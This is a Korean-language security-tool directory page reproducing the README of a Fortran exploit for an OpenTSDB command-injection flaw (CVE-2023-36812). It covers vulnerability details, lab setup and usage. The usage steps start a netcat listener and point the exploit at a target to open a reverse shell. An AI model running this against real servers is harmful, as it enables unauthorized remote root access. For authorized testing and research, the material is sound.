Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
opentsdb_key_cmd_injection — Fortran으로 작성된 OpenTSDB <= 2.4.1 명령어 주입(CVE-2023-36812/CVE-2023-25826) 익스플로잇 | Kitploit
도구/GitHubGitHub/erikwynter/opentsdb_key_cmd_injection
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlRed Teaming
GitHuberikwynter/opentsdb_key_cmd_injection

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

opentsdb_key_cmd_injection

Fortran으로 작성된 OpenTSDB <= 2.4.1 명령어 주입(CVE-2023-36812/CVE-2023-25826) 익스플로잇

저장소 보기
712년 전아직 검토되지 않음

opentsdb_key_cmd_injection

Fortran으로 작성된 OpenTSDB <= 2.4.1 cmd injection (CVE-2023-36812/CVE-2023-25826) 익스플로잇

About

이것은 OpenTSDB 2.4.1 이하 버전(CVE-2023-36812/CVE-2023-25826)의 명령 삽입 취약점을 위한 익스플로잇입니다. 이 익스플로잇은 현대적인 Fortran으로 작성되었으며, 올해 초에 만들어진 공식 Fortran http-client 라이브러리를 활용합니다.

Vulnerability details

OpenTSDB는 Java로 작성된 오픈소스 시계열 데이터베이스입니다. 2020년, 2.4.0 이하 버전에서 호스트에서 루트 권한으로 원격 코드 실행을 달성하기 위해 악용될 수 있는 명령 삽입 취약점이 발견되었습니다. OpenTSDB는 인증을 지원하지 않으므로, CVE-2020-35476으로 추적되는 이 취약점은 OpenTSDB 웹 인터페이스에 접근할 수 있는 누구나 악용할 수 있었습니다. 이 문제는 2.4.1 버전에서 패치되었습니다.

올해 CVE-2020-35476에 대한 패치가 불완전하며, 여러 경로를 통해 OpenTSDB 2.4.1에서 여전히 명령 삽입이 가능하다는 것이 발견되었습니다.

세부 사항:

  • 추적 ID: CVE-2023-36812. CVE-2023-25826이 실제로 동일한 취약점을 설명하는 것으로 보이며, 두 CVE 모두 정확히 동일한 패치를 링크한다는 점을 알아두시기 바랍니다.
  • 보안 권고: https://github.com/OpenTSDB/opentsdb/security/advisories/GHSA-76f7-9v52-v2fw
  • 공로: Oxeye의 Gal Goldstein과 Daniel Abeles
  • 패치: 이 패치는 아직 공식 릴리스가 아닌 2.4.2에서 도입될 예정입니다. 이 글을 작성하는 시점에 가장 최신 OpenTSDB 릴리스는 2.4.1이므로, 프로덕션 환경의 대부분 OpenTSDB 인스턴스가 취약할 가능성이 높습니다. 그렇긴 하지만 OpenTSDB FAQ는 이 프로젝트가 "내부 전용으로 작성되었으며", "어떠한 보안 검토도 거치지 않았고 인증도 포함하지 않는다"는 점을 강조합니다.

Why Fortran?

짧게 말하면, 이 대화를 보고 시작했습니다: why

인류를 달에 보내는 데 사용된 프로그래밍 언어로 익스플로잇을 작성한다는 아이디어가 너무 흥미로워서 직접 탐구해보지 않을 수 없었습니다. 이 익스플로잇은 그 실험의 결과물입니다. 성공했는지에 대한 질문에는, 모든 개발자를 피로 묶는 현명하면서도 저주받은 말로만 답할 수 있습니다: 제 컴퓨터에서는 작동합니다. ¯\(ツ)/¯

어쨌든 이 프로젝트에서 얻은 주요 교훈은 다음과 같습니다:

  • Fortran은 실제로 꽤 멋지고, 놀랍게도 배우기 쉽습니다.
  • fpm 패키지 관리자를 포함한 현대적인 Fortran 생태계는 큰 가능성을 보여줍니다.
  • Fortran은 강타입 언어이며, 불쾌한 런타임 오류를 거의 만나지 못했기 때문에 이는 좋은 점이라고 생각했습니다.
  • 의존성이 있는 Fortran 프로젝트는 fpm이 의존성 소스 코드를 프로젝트에 직접 포함하기 때문에 규모가 큽니다. 장점은 시스템 오염을 피할 수 있다는 것입니다.
  • 라이브러리 지원은 현대 언어에 비해 상대적으로 제한적이고 혼란스럽습니다. 안타깝게도 이는 http-client 라이브러리만의 문제는 아닙니다.
  • 당연하게도, 대부분의 현대 프로그래밍 언어에 비해 좋은 문서와 문제 해결 팁을 찾기가 더 어렵습니다. 다만 StackOverflow와 2000년대 초반의 오래 잊혀진 포럼에는 여전히 꽤 유용한 게시물이 꽤 있습니다.
  • ChatGPT 및 GitHub Copilot과 같은 AI 도구는 현대 언어의 경우보다 훨씬 신뢰할 수 없는 코딩 파트너입니다.

종합해 보면, 상상할 수 있는 모든 사용 사례에 대해 탄탄한 현대적 대안(Python, Go, Rust, Ruby, C# 등)이 너무 많기 때문에 이 언어가 공격 보안 분야에서 진정으로 중요해지는 것은 상상하기 어렵습니다. 하지만 다른 프로그래밍 언어를 실험하는 것을 좋아하고 문자열을 항상 trim() 호출로 감싸는 것을 괜찮게 생각한다면(이 점을 꼭 기억하세요. 엄청난 고통을 덜어줄 것입니다), Fortran은 확인해볼 가치가 충분히 있습니다. 저는 이제 진심으로 이 언어를 응원하고 있으며, http-client 라이브러리에 대한 지원을 계속 추가한다면, 특히 언젠가 http-server 라이브러리를 추가한다면 다시 살펴볼 수도 있습니다.

요약: Fortran http-client 라이브러리가 brr 합니다.

Usage

  • 시스템에서 리스너를 시작하세요, 예:
root@kitploit:~
nc -nlvp 1337
  • 별도의 창에서 opentsdb_key_cmd_injection 디렉토리로 이동하세요
root@kitploit:~
# cd /path/to/opentsdb_key_cmd_injection/
  • fpm을 통해 프로젝트를 실행하세요 (먼저 설치했는지 확인하세요. 설치 지침은 다음 섹션을 참조하세요)
root@kitploit:~
# /path/to/fpm run -- -t <target_url> -l <lhost> -p <lport> [-v]

옵션:

  • -t - TARGET URL: OpenTSDB의 기본 URL (필수)
  • -l - LHOST: 리스너를 실행 중인 시스템의 IP (필수)
  • -p - LPORT: 리스너 포트 (필수)
  • -v - VERBOSE: 상세 출력 활성화 (선택)

Installation

  • gfortran을 설치하세요. 데비안 계열 시스템에서는 다음 명령으로 설치할 수 있습니다:
root@kitploit:~
apt install gfortran
  • fpm을 설치하세요. 가장 쉬운 방법은 GitHub의 fpm 릴리스 페이지에서 최신 안정 릴리스의 바이너리를 다운로드한 후 실행 가능하게 만드는 것입니다:
root@kitploit:~
chmod +x /<path>/to/fpm

fpm을 설치하기 전에 시스템에 git이 설치되어 있는지 확인하세요.

Poc || GTFO

https://github.com/ErikWynter/opentsdb_key_cmd_injection/assets/55885619/223e813e-9710-4193-98a1-ded2246567bf

Setting up an OpenTSDB instance for testing

Manual installation (not recommended)

수동 설치의 경우 공식 설치 지침 여기를 따를 수 있습니다. 다만 이 방법은 번거로울 수 있으므로 docker를 사용하는 것을 권장합니다.

Docker installation (recommended)

2.4.0 버전의 경우 vulnhub docker 이미지를 사용하고 여기의 설치 지침을 따를 수 있습니다. 해당 이미지는 OpenTSDB 2.4.0까지의 이전 취약점인 CVE-2020-35476을 위해 만들어졌습니다.

2.4.1 버전 및 아마도 다른 모든 버전의 경우, OpenTSDB 2.4.0용 vulhub 이미지를 활용하여 원하는 버전을 설치하도록 편집할 수 있습니다. 저는 2.4.1에 대해 이 방법을 따랐고 잘 작동했습니다.

  • 먼저 vulhub OpenTSDB 2.4.0 Dockerfile 및 docker-entrypoint.sh 파일을 여기에서 가져와 전용 디렉토리에 저장하세요.
  • Dockerfile에서 2.4.0의 모든 인스턴스를 원하는 버전(예: 2.4.1)으로 바꾸세요.
  • docker-entrypoint.sh는 수정할 필요가 없습니다.
  • 다음 내용으로 docker-compose.yml 파일을 만드세요:
root@kitploit:~
version: '2'
services:
 opentsdb:
   build: ./path-to-your-dockerfile-directory
   ports:
    - "4242:4242"

저는 이 파일 구조를 사용했습니다:

root@kitploit:~
wynter@wynter-pc:~/dev/opentsdb$ ls -lR
.:
total 8
-rw-rw-r-- 1 wynter wynter   86 Sep  1 10:55 docker-compose.yml
drwxrwxr-x 2 wynter wynter 4096 Sep  1 10:54 docker_file

./docker_file:
total 8
-rw-rw-r-- 1 wynter wynter 927 Sep  1 10:54 Dockerfile
-rw-rw-r-- 1 wynter wynter 359 Sep  1 10:35 docker-entrypoint.sh
wynter@wynter-pc:~/dev/opentsdb$ cat docker-compose.yml 
version: '2'
services:
 opentsdb:
   build: ./docker_file
   ports:
    - "4242:4242"
  • 마지막으로 docker-compose.yml 파일이 있는 디렉토리에서 아래 명령을 실행하여 docker-compose를 통해 이미지를 빌드하고 실행하세요:
root@kitploit:~
docker-compose up -d
  • 몇 초 후 OpenTSDB가 포트 4242에서 사용 가능해집니다. 추가 구성은 필요 없습니다.

A brief history of Fortran (because why not)

Fortran은 주로 현대 컴퓨팅의 역사에서 중요한 역할을 했지만 오늘날에는 더 이상 관련성이 없다고 여겨지는 고풍스러운 언어로 알려져 있습니다. 1957년에 처음 출시되었으며, ARPANET과 Unix보다 10년 이상 앞섰습니다. 이 시계열 데이터 비디오에 따르면 1960년대와 1970년대 내내 지배적인 프로그래밍 언어였으며, 1990년대 후반까지 가장 인기 있는 10대 언어 중 하나로 남아 있었습니다. 그러나 Windows 98이 출시될 무렵에는 C, C++, Java 및 JavaScript와 같은 더 현대적인 언어들에 밀려 확실히 시대에 뒤처졌으며, 이 모든 언어는 오늘날에도 널리 사용되고 있습니다.

레거시 시스템을 관리하는 용감한 사람들을 제외하면, 지난 20년 동안 IT 분야에서 많은 사람들(우리 영역 밖은 말할 것도 없고)이 Fortran을 접했을 가능성은 낮고, 심지어 여전히 존재한다는 사실조차 아는 사람이 많지 않을 것입니다. 그럼에도 불구하고 Fortran은 여전히 활발히 개발되고 있습니다. 공식 Fortran 웹사이트에 명시된 바와 같이, 이 언어는 2018년에 마지막으로 개정되었으며, 올해(2023)에 또 다른 개정이 있을 것으로 기대됩니다. 실제로 Fortran 커뮤니티는 지난 몇 년 동안 매우 활발했던 것으로 보이며, 생태계 현대화를 위한 몇 가지 주요 프로젝트를 내놓았습니다:

  • stdlib: 최초의 Fortran 표준 라이브러리 (첫 릴리스: 2021)
  • fpm: fpm이라는 현대적인 패키지 관리자이자 빌드 시스템 (첫 알파 릴리스: 2020)
  • http-client: 앞서 언급한 HTTP 클라이언트 라이브러리 (첫 릴리스: 2023).

이를 고려할 때, 관리자들은 어느 정도 Fortran의 부활을 목표로 하거나, 최소한 이 언어가 수십 년 더 생존할 수 있는 기회를 주려는 것으로 보입니다. 가장 열렬한 Fortran 팬이라 할지라도 이 언어가 다시 가장 인기 있는 프로그래밍 언어 상위 10위 안에 들 것으로 기대하지는 않겠지만, 언어와 생태계의 지속적인 현대화는 Fortran을 지난 10~20년보다 더 관련성 있게 만들었을 가능성이 높습니다.

도구 다운로드